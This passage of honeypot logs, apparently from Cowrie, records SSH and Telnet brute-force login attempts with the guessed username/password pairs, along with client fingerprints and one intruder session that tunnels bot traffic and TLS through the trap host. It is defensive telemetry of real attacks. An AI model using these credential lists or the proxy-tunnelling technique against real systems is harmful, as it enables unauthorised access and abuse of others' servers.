\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:20.718285Z","src_ip":"173.208.188.210","session":"b5a501be3094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linsey","password":"linsey","message":"login attempt [linsey/linsey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:21.915108Z","src_ip":"91.92.40.36","session":"96402abe1ba4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"hoes","message":"login attempt [admin/hoes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:22.141905Z","src_ip":"91.92.40.36","session":"7e4ac07884b1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:23.031204Z","src_ip":"23.175.50.52","session":"ab035b8ba2ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:23.537143Z","src_ip":"91.92.40.36","session":"96402abe1ba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:24.096073Z","src_ip":"173.208.188.210","session":"b5a501be3094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:25.073714Z","src_ip":"91.92.40.36","session":"7e4ac07884b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36830,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd14218beae2","protocol":"ssh","message":"New connection: 91.92.40.36:36830 (159.203.135.109:22) [session: fd14218beae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:28.146223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:28.881808Z","src_ip":"91.92.40.36","session":"fd14218beae2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:29.851619Z","src_ip":"91.92.40.36","session":"fd14218beae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":38052,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8a09a46d721","protocol":"ssh","message":"New connection: 103.82.20.28:38052 (159.203.135.109:22) [session: b8a09a46d721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:29.895771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:29.901223Z","src_ip":"103.82.20.28","session":"b8a09a46d721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:30.169761Z","src_ip":"103.82.20.28","session":"b8a09a46d721","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20021996","message":"login attempt [root/20021996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:30.987593Z","src_ip":"103.82.20.28","session":"b8a09a46d721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36856,"dst_ip":"159.203.135.109","dst_port":22,"session":"49662ed59a89","protocol":"ssh","message":"New connection: 91.92.40.36:36856 (159.203.135.109:22) [session: 49662ed59a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:32.097660Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:32.258822Z","src_ip":"103.82.20.28","session":"b8a09a46d721","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:33.173914Z","src_ip":"91.92.40.36","session":"49662ed59a89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:33.194509Z","src_ip":"91.92.40.36","session":"49662ed59a89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sequoia","password":"sequoia","message":"login attempt [sequoia/sequoia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:37.305795Z","src_ip":"91.92.40.36","session":"fd14218beae2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bin","password":"worlddomination","message":"login attempt [bin/worlddomination] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:37.938468Z","src_ip":"91.92.40.36","session":"49662ed59a89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46844,"dst_ip":"159.203.135.109","dst_port":23,"session":"644d6e20982d","protocol":"telnet","message":"New connection: 172.81.62.90:46844 (159.203.135.109:23) [session: 644d6e20982d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:38.135008Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30074,"dst_ip":"159.203.135.109","dst_port":22,"session":"2859ef5eeb7e","protocol":"ssh","message":"New connection: 91.92.40.36:30074 (159.203.135.109:22) [session: 2859ef5eeb7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:39.478326Z"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:40.127275Z","src_ip":"91.92.40.36","session":"49662ed59a89","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:40.527371Z","src_ip":"91.92.40.36","session":"2859ef5eeb7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:40.532137Z","src_ip":"91.92.40.36","session":"2859ef5eeb7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:40.700927Z","src_ip":"91.92.40.36","session":"fd14218beae2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:43.567370Z","session":"ab035b8ba2ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:43.584718Z","session":"ab035b8ba2ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:43.626414Z","src_ip":"23.175.50.52","session":"ab035b8ba2ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=L3tGd0pebjJiSFhMbCtJYg%3D%3D%2F%2F%2FyCjYT%2FXrZ21ngpXKIgikx0JnKGhUZ1ABtCOiWJxXA1l5h52mFoC6Sk2Y4ngkTVveD7qqH4XMZLbMc7G%2F8PWtPQURXq6fFoJY7d3AP1GZdQlJRf4AQr8uZc6wnkzwX5gnyOUxMVYBBA7E47Pq5ZdCh7S2VlxcWja1usTYoKNOf%2FsoZzuIjvWFRGi1K3%2FvJPia0k0wpa6qau3GRVaaeAAoAHI9mCiv24tbq6erkJKgMeinp1puhnsAdnMZ0TFL2dKKM6A3h9Q2zjYB04FQtwdDVBzNywUrRJg4QoAUgMapyYhWgbEl3m9pyUui7cPj0dFvE1lcTfCvrYp%2Fwbln%2FkXDik4%2B4tHF7%2FVNUqLZi2rI5BCEgJdiAsy1x7F%2FeZzfjPsoFqcnoAs%2BUA0t%2B%2FrZASsW1fMR8hNoudyHqIwBuuKNzGZi3fBIBBlv7NK5BrgV7L16JMNJ%2F%2Fzw5iy91XrXBb6xaeTNY0lnNbSLx2vaYVzi7sySz2N5rSiGDAZbVvbSrBd4ssPaz9QyBxxSPkZgdcMChOD5C8CVf%2BlH1vaSfVKLDv0cmNCFOTZbdlapM%2BehDBLe3pY6naocv6%2FhCcwLjO1eRFxOefPIotCUeoa1P2Pt2kJRXgoxnoyj3K2Q1TIlmpcTvUgyLMj8QI5A5U0SC%2BBADY5eQMACCrdZyVs1VR%2BnecfhClU6O1cttVGbaBwtu1HZd%2BY5s1pRZUizihC4JlbfEKJYCeyzsfEeZp%2BMbQLVu2a1x2ufdqa0fMz%2FP1tqDMQ77tcp5Ekek1CAS0%2B0IYOTcIxrlS4I%2FFtNVJ4%2FeQNfgYKnKYLMqb6hWdj6aqY%2BQeuzNQ5p9mjSrmuhOne9Yu1C0bFCOLBr1r0DzUlN9AmCfE89RD5Ri2cl%2FVhor87BCt2eN%2B3LuuXjtnkOLCGSP2uMGqKY6GeaULNjP%2FN53HUd9n7Bh9Leyymtr27k4ap%2ByhcCwmIGdyDYFH0eYzApsh1uYhqA0bA4%2FLgS7SjRXfZT8dZMmbybPCPsG4JuLO1OMyQIP8SG47Ejl%2FLpuq06L3CLDt9RyKHcElIMeP0FVcFs%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=L3tGd0pebjJiSFhMbCtJYg%3D%3D%2F%2F%2FyCjYT%2FXrZ21ngpXKIgikx0JnKGhUZ1ABtCOiWJxXA1l5h52mFoC6Sk2Y4ngkTVveD7qqH4XMZLbMc7G%2F8PWtPQURXq6fFoJY7d3AP1GZdQlJRf4AQr8uZc6wnkzwX5gnyOUxMVYBBA7E47Pq5ZdCh7S2VlxcWja1usTYoKNOf%2FsoZzuIjvWFRGi1K3%2FvJPia0k0wpa6qau3GRVaaeAAoAHI9mCiv24tbq6erkJKgMeinp1puhnsAdnMZ0TFL2dKKM6A3h9Q2zjYB04FQtwdDVBzNywUrRJg4QoAUgMapyYhWgbEl3m9pyUui7cPj0dFvE1lcTfCvrYp%2Fwbln%2FkXDik4%2B4tHF7%2FVNUqLZi2rI5BCEgJdiAsy1x7F%2FeZzfjPsoFqcnoAs%2BUA0t%2B%2FrZASsW1fMR8hNoudyHqIwBuuKNzGZi3fBIBBlv7NK5BrgV7L16JMNJ%2F%2Fzw5iy91XrXBb6xaeTNY0lnNbSLx2vaYVzi7sySz2N5rSiGDAZbVvbSrBd4ssPaz9QyBxxSPkZgdcMChOD5C8CVf%2BlH1vaSfVKLDv0cmNCFOTZbdlapM%2BehDBLe3pY6naocv6%2FhCcwLjO1eRFxOefPIotCUeoa1P2Pt2kJRXgoxnoyj3K2Q1TIlmpcTvUgyLMj8QI5A5U0SC%2BBADY5eQMACCrdZyVs1VR%2BnecfhClU6O1cttVGbaBwtu1HZd%2BY5s1pRZUizihC4JlbfEKJYCeyzsfEeZp%2BMbQLVu2a1x2ufdqa0fMz%2FP1tqDMQ77tcp5Ekek1CAS0%2B0IYOTcIxrlS4I%2FFtNVJ4%2FeQNfgYKnKYLMqb6hWdj6aqY%2BQeuzNQ5p9mjSrmuhOne9Yu1C0bFCOLBr1r0DzUlN9AmCfE89RD5Ri2cl%2FVhor87BCt2eN%2B3LuuXjtnkOLCGSP2uMGqKY6GeaULNjP%2FN53HUd9n7Bh9Leyymtr27k4ap%2ByhcCwmIGdyDYFH0eYzApsh1uYhqA0bA4%2FLgS7SjRXfZT8dZMmbybPCPsG4JuLO1OMyQIP8SG47Ejl%2FLpuq06L3CLDt9RyKHcElIMeP0FVcFs%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:43.629783Z","src_ip":"23.175.50.52","session":"ab035b8ba2ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:43.680257Z","src_ip":"23.175.50.52","session":"ab035b8ba2ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03|\\xcb\\xf8bH\\xf8<\\xbe\\x109\\xcb\\x86\\xb2\\xea\\xdd\\xb4\\x91\\x9b\\xe5\\xe3\\x8ao\\xd5Z\\xcd\\xfc\\xd2\\xe6lR\\x89\\x80 \\xc0\\x01\\xebq\\xb6\\xc6\\xa8\\x11\\xdc\\x92r\\x9e\\x1f\\x04\\xe2\\r&/\\xe0\\xfcC[i\\x8c\\xb7\\xf7{S\\xef\\x8a\\xa5\\xd2\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc0\\t\\\\\\x93\\xfb\\x18\\xc4\\x9a\\xcc0 7\\xdd\\x9c\\xa0zayg\\xeb\\x8e^\\xd7P\\xa5\\x86\\xbaE\\r\\xd6\\x9eq\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03|\\xcb\\xf8bH\\xf8<\\xbe\\x109\\xcb\\x86\\xb2\\xea\\xdd\\xb4\\x91\\x9b\\xe5\\xe3\\x8ao\\xd5Z\\xcd\\xfc\\xd2\\xe6lR\\x89\\x80 \\xc0\\x01\\xebq\\xb6\\xc6\\xa8\\x11\\xdc\\x92r\\x9e\\x1f\\x04\\xe2\\r&/\\xe0\\xfcC[i\\x8c\\xb7\\xf7{S\\xef\\x8a\\xa5\\xd2\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc0\\t\\\\\\x93\\xfb\\x18\\xc4\\x9a\\xcc0 